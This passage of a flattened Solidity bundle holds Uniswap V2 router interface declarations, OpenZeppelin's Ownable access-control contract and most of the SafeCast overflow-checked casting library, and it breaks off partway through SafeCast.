    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.

pragma solidity ^0.8.0;

/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */
library SafeCast {
    /**
     * @dev Returns the downcasted uint248 from uint256, reverting on
     * overflow (when the input is greater than largest uint248).
     *
     * Counterpart to Solidity's `uint248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toUint248(uint256 value) internal pure returns (uint248) {
        require(
            value <= type(uint248).max,
            "SafeCast: value doesn't fit in 248 bits"
        );
        return uint248(value);
    }

    /**
     * @dev Returns the downcasted uint240 from uint256, reverting on
     * overflow (when the input is greater than largest uint240).
     *
     * Counterpart to Solidity's `uint240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toUint240(uint256 value) internal pure returns (uint240) {
        require(
            value <= type(uint240).max,
            "SafeCast: value doesn't fit in 240 bits"
        );
        return uint240(value);
    }

    /**
     * @dev Returns the downcasted uint232 from uint256, reverting on
     * overflow (when the input is greater than largest uint232).
     *
     * Counterpart to Solidity's `uint232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toUint232(uint256 value) internal pure returns (uint232) {
        require(
            value <= type(uint232).max,
            "SafeCast: value doesn't fit in 232 bits"
        );
        return uint232(value);
    }

    /**
     * @dev Returns the downcasted uint224 from uint256, reverting on
     * overflow (when the input is greater than largest uint224).
     *
     * Counterpart to Solidity's `uint224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.2._
     */
    function toUint224(uint256 value) internal pure returns (uint224) {
        require(
            value <= type(uint224).max,
            "SafeCast: value doesn't fit in 224 bits"
        );
        return uint224(value);
    }

    /**
     * @dev Returns the downcasted uint216 from uint256, reverting on
     * overflow (when the input is greater than largest uint216).
     *
     * Counterpart to Solidity's `uint216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toUint216(uint256 value) internal pure returns (uint216) {
        require(
            value <= type(uint216).max,
            "SafeCast: value doesn't fit in 216 bits"
        );
        return uint216(value);
    }

    /**
     * @dev Returns the downcasted uint208 from uint256, reverting on
     * overflow (when the input is greater than largest uint208).
     *
     * Counterpart to Solidity's `uint208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toUint208(uint256 value) internal pure returns (uint208) {
        require(
            value <= type(uint208).max,
            "SafeCast: value doesn't fit in 208 bits"
        );
        return uint208(value);
    }

    /**
     * @dev Returns the downcasted uint200 from uint256, reverting on
     * overflow (when the input is greater than largest uint200).
     *
     * Counterpart to Solidity's `uint200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toUint200(uint256 value) internal pure returns (uint200) {
        require(
            value <= type(uint200).max,
            "SafeCast: value doesn't fit in 200 bits"
        );
        return uint200(value);
    }

    /**
     * @dev Returns the downcasted uint192 from uint256, reverting on
     * overflow (when the input is greater than largest uint192).
     *
     * Counterpart to Solidity's `uint192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toUint192(uint256 value) internal pure returns (uint192) {
        require(
            value <= type(uint192).max,
            "SafeCast: value doesn't fit in 192 bits"
        );
        return uint192(value);
    }

    /**
     * @dev Returns the downcasted uint184 from uint256, reverting on
     * overflow (when the input is greater than largest uint184).
     *
     * Counterpart to Solidity's `uint184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toUint184(uint256 value) internal pure returns (uint184) {
        require(
            value <= type(uint184).max,
            "SafeCast: value doesn't fit in 184 bits"
        );
        return uint184(value);
    }

    /**
     * @dev Returns the downcasted uint176 from uint256, reverting on
     * overflow (when the input is greater than largest uint176).
     *
     * Counterpart to Solidity's `uint176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toUint176(uint256 value) internal pure returns (uint176) {
        require(
            value <= type(uint176).max,
            "SafeCast: value doesn't fit in 176 bits"
        );
        return uint176(value);
    }

    /**
     * @dev Returns the downcasted uint168 from uint256, reverting on
     * overflow (when the input is greater than largest uint168).
     *
     * Counterpart to Solidity's `uint168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toUint168(uint256 value) internal pure returns (uint168) {
        require(
            value <= type(uint168).max,
            "SafeCast: value doesn't fit in 168 bits"
        );
        return uint168(value);
    }

    /**
     * @dev Returns the downcasted uint160 from uint256, reverting on
     * overflow (when the input is greater than largest uint160).
     *
     * Counterpart to Solidity's `uint160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toUint160(uint256 value) internal pure returns (uint160) {
        require(
            value <= type(uint160).max,
            "SafeCast: value doesn't fit in 160 bits"
        );
        return uint160(value);
    }

    /**
     * @dev Returns the downcasted uint152 from uint256, reverting on
     * overflow (when the input is greater than largest uint152).
     *
     * Counterpart to Solidity's `uint152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toUint152(uint256 value) internal pure returns (uint152) {
        require(
            value <= type(uint152).max,
            "SafeCast: value doesn't fit in 152 bits"
        );
        return uint152(value);
    }

    /**
     * @dev Returns the downcasted uint144 from uint256, reverting on
     * overflow (when the input is greater than largest uint144).
     *
     * Counterpart to Solidity's `uint144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toUint144(uint256 value) internal pure returns (uint144) {
        require(
            value <= type(uint144).max,
            "SafeCast: value doesn't fit in 144 bits"
        );
        return uint144(value);
    }

    /**
     * @dev Returns the downcasted uint136 from uint256, reverting on
     * overflow (when the input is greater than largest uint136).
     *
     * Counterpart to Solidity's `uint136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toUint136(uint256 value) internal pure returns (uint136) {
        require(
            value <= type(uint136).max,
            "SafeCast: value doesn't fit in 136 bits"
        );
        return uint136(value);
    }

    /**
     * @dev Returns the downcasted uint128 from uint256, reverting on
     * overflow (when the input is greater than largest uint128).
     *
     * Counterpart to Solidity's `uint128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v2.5._
     */
    function toUint128(uint256 value) internal pure returns (uint128) {
        require(
            value <= type(uint128).max,
            "SafeCast: value doesn't fit in 128 bits"
        );
        return uint128(value);
    }

    /**
     * @dev Returns the downcasted uint120 from uint256, reverting on
     * overflow (when the input is greater than largest uint120).
     *
     * Counterpart to Solidity's `uint120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toUint120(uint256 value) internal pure returns (uint120) {
        require(
            value <= type(uint120).max,
            "SafeCast: value doesn't fit in 120 bits"
        );
        return uint120(value);
    }

    /**
     * @dev Returns the downcasted uint112 from uint256, reverting on
     * overflow (when the input is greater than largest uint112).
     *
     * Counterpart to Solidity's `uint112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toUint112(uint256 value) internal pure returns (uint112) {
        require(
            value <= type(uint112).max,
            "SafeCast: value doesn't fit in 112 bits"
        );
        return uint112(value);
    }

    /**
     * @dev Returns the downcasted uint104 from uint256, reverting on
     * overflow (when the input is greater than largest uint104).
     *
     * Counterpart to Solidity's `uint104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toUint104(uint256 value) internal pure returns (uint104) {
        require(
            value <= type(uint104).max,
            "SafeCast: value doesn't fit in 104 bits"
        );
        return uint104(value);
    }

    /**
     * @dev Returns the downcasted uint96 from uint256, reverting on
     * overflow (when the input is greater than largest uint96).
     *
     * Counterpart to Solidity's `uint96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.2._
     */
    function toUint96(uint256 value) internal pure returns (uint96) {
        require(
            value <= type(uint96).max,
            "SafeCast: value doesn't fit in 96 bits"
        );
        return uint96(value);
    }

    /**
     * @dev Returns the downcasted uint88 from uint256, reverting on
     * overflow (when the input is greater than largest uint88).
     *
     * Counterpart to Solidity's `uint88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toUint88(uint256 value) internal pure returns (uint88) {
        require(
            value <= type(uint88).max,
            "SafeCast: value doesn't fit in 88 bits"
        );
        return uint88(value);
    }

    /**
     * @dev Returns the downcasted uint80 from uint256, reverting on
     * overflow (when the input is greater than largest uint80).
     *
     * Counterpart to Solidity's `uint80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toUint80(uint256 value) internal pure returns (uint80) {
        require(
            value <= type(uint80).max,
            "SafeCast: value doesn't fit in 80 bits"
        );
        return uint80(value);
    }

    /**
     * @dev Returns the downcasted uint72 from uint256, reverting on
     * overflow (when the input is greater than largest uint72).
     *
     * Counterpart to Solidity's `uint72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toUint72(uint256 value) internal pure returns (uint72) {
        require(
            value <= type(uint72).max,
            "SafeCast: value doesn't fit in 72 bits"
        );
        return uint72(value);
    }

    /**
     * @dev Returns the downcasted uint64 from uint256, reverting on
     * overflow (when the input is greater than largest uint64).
     *
     * Counterpart to Solidity's `uint64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v2.5._
     */
    function toUint64(uint256 value) internal pure returns (uint64) {
        require(
            value <= type(uint64).max,
            "SafeCast: value doesn't fit in 64 bits"
        );
        return uint64(value);
    }

    /**
     * @dev Returns the downcasted uint56 from uint256, reverting on
     * overflow (when the input is greater than largest uint56).
     *
     * Counterpart to Solidity's `uint56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toUint56(uint256 value) internal pure returns (uint56) {
        require(
            value <= type(uint56).max,
            "SafeCast: value doesn't fit in 56 bits"
        );
        return uint56(value);
    }

    /**
     * @dev Returns the downcasted uint48 from uint256, reverting on
     * overflow (when the input is greater than largest uint48).
     *
     * Counterpart to Solidity's `uint48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toUint48(uint256 value) internal pure returns (uint48) {
        require(
            value <= type(uint48).max,
            "SafeCast: value doesn't fit in 48 bits"
        );
        return uint48(value);
    }

    /**
     * @dev Returns the downcasted uint40 from uint256, reverting on
     * overflow (when the input is greater than largest uint40).
     *
     * Counterpart to Solidity's `uint40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toUint40(uint256 value) internal pure returns (uint40) {
        require(
            value <= type(uint40).max,
            "SafeCast: value doesn't fit in 40 bits"
        );
        return uint40(value);
    }

    /**
     * @dev Returns the downcasted uint32 from uint256, reverting on
     * overflow (when the input is greater than largest uint32).
     *
     * Counterpart to Solidity's `uint32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v2.5._
     */
    function toUint32(uint256 value) internal pure returns (uint32) {
        require(
            value <= type(uint32).max,
            "SafeCast: value doesn't fit in 32 bits"
        );
        return uint32(value);
    }

    /**
     * @dev Returns the downcasted uint24 from uint256, reverting on
     * overflow (when the input is greater than largest uint24).
     *
     * Counterpart to Solidity's `uint24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toUint24(uint256 value) internal pure returns (uint24) {
        require(
            value <= type(uint24).max,
            "SafeCast: value doesn't fit in 24 bits"
        );
        return uint24(value);
    }

    /**
     * @dev Returns the downcasted uint16 from uint256, reverting on
     * overflow (when the input is greater than largest uint16).
     *
     * Counterpart to Solidity's `uint16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v2.5._
     */
    function toUint16(uint256 value) internal pure returns (uint16) {
        require(
            value <= type(uint16).max,
            "SafeCast: value doesn't fit in 16 bits"
        );
        return uint16(value);
    }

    /**
     * @dev Returns the downcasted uint8 from uint256, reverting on
     * overflow (when the input is greater than largest uint8).
     *
     * Counterpart to Solidity's `uint8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v2.5._
     */
    function toUint8(uint256 value) internal pure returns (uint8) {
        require(
            value <= type(uint8).max,
            "SafeCast: value doesn't fit in 8 bits"
        );
        return uint8(value);
    }

    /**
     * @dev Converts a signed int256 into an unsigned uint256.
     *
     * Requirements:
     *
     * - input must be greater than or equal to 0.
     *
     * _Available since v3.0._
     */
    function toUint256(int256 value) internal pure returns (uint256) {
        require(value >= 0, "SafeCast: value must be positive");
        return uint256(value);
    }

    /**
     * @dev Returns the downcasted int248 from int256, reverting on
     * overflow (when the input is less than smallest int248 or
     * greater than largest int248).
     *
     * Counterpart to Solidity's `int248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toInt248(int256 value) internal pure returns (int248 downcasted) {
        downcasted = int248(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
    }

    /**
     * @dev Returns the downcasted int240 from int256, reverting on
     * overflow (when the input is less than smallest int240 or
     * greater than largest int240).
     *
     * Counterpart to Solidity's `int240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toInt240(int256 value) internal pure returns (int240 downcasted) {
        downcasted = int240(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
    }

    /**
     * @dev Returns the downcasted int232 from int256, reverting on
     * overflow (when the input is less than smallest int232 or
     * greater than largest int232).
     *
     * Counterpart to Solidity's `int232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toInt232(int256 value) internal pure returns (int232 downcasted) {
        downcasted = int232(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
    }

    /**
     * @dev Returns the downcasted int224 from int256, reverting on
     * overflow (when the input is less than smallest int224 or
     * greater than largest int224).
     *
     * Counterpart to Solidity's `int224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.7._
     */
    function toInt224(int256 value) internal pure returns (int224 downcasted) {
        downcasted = int224(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
    }

    /**
     * @dev Returns the downcasted int216 from int256, reverting on
     * overflow (when the input is less than smallest int216 or
     * greater than largest int216).
     *
     * Counterpart to Solidity's `int216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toInt216(int256 value) internal pure returns (int216 downcasted) {
        downcasted = int216(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
    }

    /**
     * @dev Returns the downcasted int208 from int256, reverting on
     * overflow (when the input is less than smallest int208 or
     * greater than largest int208).
     *
     * Counterpart to Solidity's `int208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toInt208(int256 value) internal pure returns (int208 downcasted) {
        downcasted = int208(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
    }

    /**
     * @dev Returns the downcasted int200 from int256, reverting on
     * overflow (when the input is less than smallest int200 or
     * greater than largest int200).
     *
     * Counterpart to Solidity's `int200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toInt200(int256 value) internal pure returns (int200 downcasted) {
        downcasted = int200(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
    }

    /**
     * @dev Returns the downcasted int192 from int256, reverting on
     * overflow (when the input is less than smallest int192 or
     * greater than largest int192).
     *
     * Counterpart to Solidity's `int192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toInt192(int256 value) internal pure returns (int192 downcasted) {
        downcasted = int192(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
    }

    /**
     * @dev Returns the downcasted int184 from int256, reverting on
     * overflow (when the input is less than smallest int184 or
     * greater than largest int184).
     *
     * Counterpart to Solidity's `int184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toInt184(int256 value) internal pure returns (int184 downcasted) {
        downcasted = int184(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
    }

    /**
     * @dev Returns the downcasted int176 from int256, reverting on
     * overflow (when the input is less than smallest int176 or
     * greater than largest int176).
     *
     * Counterpart to Solidity's `int176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toInt176(int256 value) internal pure returns (int176 downcasted) {
        downcasted = int176(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
    }

    /**
     * @dev Returns the downcasted int168 from int256, reverting on
     * overflow (when the input is less than smallest int168 or
     * greater than largest int168).
     *
     * Counterpart to Solidity's `int168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toInt168(int256 value) internal pure returns (int168 downcasted) {
        downcasted = int168(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
    }

    /**
     * @dev Returns the downcasted int160 from int256, reverting on
     * overflow (when the input is less than smallest int160 or
     * greater than largest int160).
     *
     * Counterpart to Solidity's `int160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toInt160(int256 value) internal pure returns (int160 downcasted) {
        downcasted = int160(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
    }

    /**
     * @dev Returns the downcasted int152 from int256, reverting on
     * overflow (when the input is less than smallest int152 or
     * greater than largest int152).
     *
     * Counterpart to Solidity's `int152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toInt152(int256 value) internal pure returns (int152 downcasted) {
        downcasted = int152(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
    }

    /**
     * @dev Returns the downcasted int144 from int256, reverting on
     * overflow (when the input is less than smallest int144 or
     * greater than largest int144).
     *
     * Counterpart to Solidity's `int144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toInt144(int256 value) internal pure returns (int144 downcasted) {
        downcasted = int144(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
    }

    /**
     * @dev Returns the downcasted int136 from int256, reverting on
     * overflow (when the input is less than smallest int136 or
     * greater than largest int136).
     *
     * Counterpart to Solidity's `int136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toInt136(int256 value) internal pure returns (int136 downcasted) {
        downcasted = int136(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
    }

    /**
     * @dev Returns the downcasted int128 from int256, reverting on
     * overflow (when the input is less than smallest int128 or
     * greater than largest int128).
     *
     * Counterpart to Solidity's `int128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v3.1._
     */
    function toInt128(int256 value) internal pure returns (int128 downcasted) {
        downcasted = int128(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
    }

    /**
     * @dev Returns the downcasted int120 from int256, reverting on
     * overflow (when the input is less than smallest int120 or
     * greater than largest int120).
     *
     * Counterpart to Solidity's `int120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toInt120(int256 value) internal pure returns (int120 downcasted) {
        downcasted = int120(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
    }

    /**
     * @dev Returns the downcasted int112 from int256, reverting on
     * overflow (when the input is less than smallest int112 or
     * greater than largest int112).
     *
     * Counterpart to Solidity's `int112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toInt112(int256 value) internal pure returns (int112 downcasted) {
        downcasted = int112(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
    }

    /**
     * @dev Returns the downcasted int104 from int256, reverting on
     * overflow (when the input is less than smallest int104 or
     * greater than largest int104).
     *
     * Counterpart to Solidity's `int104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toInt104(int256 value) internal pure returns (int104 downcasted) {
        downcasted = int104(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
    }

    /**
     * @dev Returns the downcasted int96 from int256, reverting on
     * overflow (when the input is less than smallest int96 or
     * greater than largest int96).
     *
     * Counterpart to Solidity's `int96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.7._
     */
    function toInt96(int256 value) internal pure returns (int96 downcasted) {
        downcasted = int96(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
    }

    /**
     * @dev Returns the downcasted int88 from int256, reverting on
     * overflow (when the input is less than smallest int88 or
     * greater than largest int88).
     *
     * Counterpart to Solidity's `int88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toInt88(int256 value) internal pure returns (int88 downcasted) {
        downcasted = int88(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
    }

    /**
     * @dev Returns the downcasted int80 from int256, reverting on
     * overflow (when the input is less than smallest int80 or
     * greater than largest int80).
     *
     * Counterpart to Solidity's `int80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toInt80(int256 value) internal pure returns (int80 downcasted) {
        downcasted = int80(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
    }

    /**
     * @dev Returns the downcasted int72 from int256, reverting on
     * overflow (when the input is less than smallest int72 or
     * greater than largest int72).
     *
     * Counterpart to Solidity's `int72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toInt72(int256 value) internal pure returns (int72 downcasted) {
        downcasted = int72(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
    }

    /**
     * @dev Returns the downcasted int64 from int256, reverting on
     * overflow (when the input is less than smallest int64 or
     * greater than largest int64).
     *
     * Counterpart to Solidity's `int64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v3.1._
     */
    function toInt64(int256 value) internal pure returns (int64 downcasted) {
        downcasted = int64(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
    }

    /**
     * @dev Returns the downcasted int56 from int256, reverting on
     * overflow (when the input is less than smallest int56 or
     * greater than largest int56).
     *
     * Counterpart to Solidity's `int56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toInt56(int256 value) internal pure returns (int56 downcasted) {
        downcasted = int56(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
    }

    /**
     * @dev Returns the downcasted int48 from int256, reverting on
     * overflow (when the input is less than smallest int48 or
     * greater than largest int48).
     *
     * Counterpart to Solidity's `int48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toInt48(int256 value) internal pure returns (int48 downcasted) {
        downcasted = int48(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
    }

    /**
     * @dev Returns the downcasted int40 from int256, reverting on
     * overflow (when the input is less than smallest int40 or
     * greater than largest int40).
     *
     * Counterpart to Solidity's `int40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toInt40(int256 value) internal pure returns (int40 downcasted) {
        downcasted = int40(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
    }

    /**
     * @dev Returns the downcasted int32 from int256, reverting on
     * overflow (when the input is less than smallest int32 or
     * greater than largest int32).
     *
     * Counterpart to Solidity's `int32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v3.1._
     */
    function toInt32(int256 value) internal pure returns (int32 downcasted) {
        downcasted = int32(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
    }

    /**
     * @dev Returns the downcasted int24 from int256, reverting on
     * overflow (when the input is less than smallest int24 or
     * greater than largest int24).
     *
     * Counterpart to Solidity's `int24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toInt24(int256 value) internal pure returns (int24 downcasted) {
        downcasted = int24(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
    }

    /**
     * @dev Returns the downcasted int16 from int256, reverting on
     * overflow (when the input is less than smallest int16 or
     * greater than largest int16).
     *
